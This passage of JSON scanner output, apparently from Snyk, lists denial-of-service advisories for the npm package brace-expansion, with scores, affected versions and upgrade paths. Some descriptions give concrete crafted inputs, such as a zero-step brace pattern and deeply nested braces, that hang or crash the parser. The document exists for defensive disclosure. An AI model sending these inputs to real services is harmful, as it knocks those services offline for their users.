"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
